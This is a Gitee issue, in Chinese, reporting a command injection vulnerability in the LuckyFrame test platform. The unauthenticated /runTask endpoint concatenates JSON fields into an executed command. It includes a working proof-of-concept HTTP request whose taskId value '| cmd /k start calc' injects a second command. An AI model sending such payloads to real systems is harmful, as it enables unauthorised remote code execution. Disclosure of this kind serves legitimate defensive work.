命令注入漏洞 - runTask · Issue #I66RIV · seagull/ LuckyFrame

未授权接口 ***/runTask***，使用 ***fastjson*** 解码 ***RunTaskEntity*** 后，直接将传入的参数 ***toString()*** 拼接到了执行命令中

![输入图片说明](https://foruda.gitee.com/images/1671501509373109676/78d043db_1974101.png "屏幕截图")

对象 ***RunTaskEntity*** 都是 ***String*** 类型的属性，可以再 ***String*** 属性中注入恶意命令，导致命令注入

![输入图片说明](https://foruda.gitee.com/images/1671501518803374253/69cc47d4_1974101.png "屏幕截图")

使用 ***taskId*** 注入

```http
POST /runTask HTTP/1.1
Host: 192.168.157.1:6633
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 82

{
	"schedulingName": "33",
	"taskId": "| cmd /k start calc",
	"loadpath": ""
}
```
![输入图片说明](https://foruda.gitee.com/images/1671501546048227906/ec72dddd_1974101.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1671501551504404223/2ea6735b_1974101.png "屏幕截图")

GVP seagull/ LuckyFrame

内容风险标识

命令注入漏洞 - runTask

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GVPseagull/ LuckyFrame

内容风险标识

命令注入漏洞 - runTask

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GVP seagull/ LuckyFrame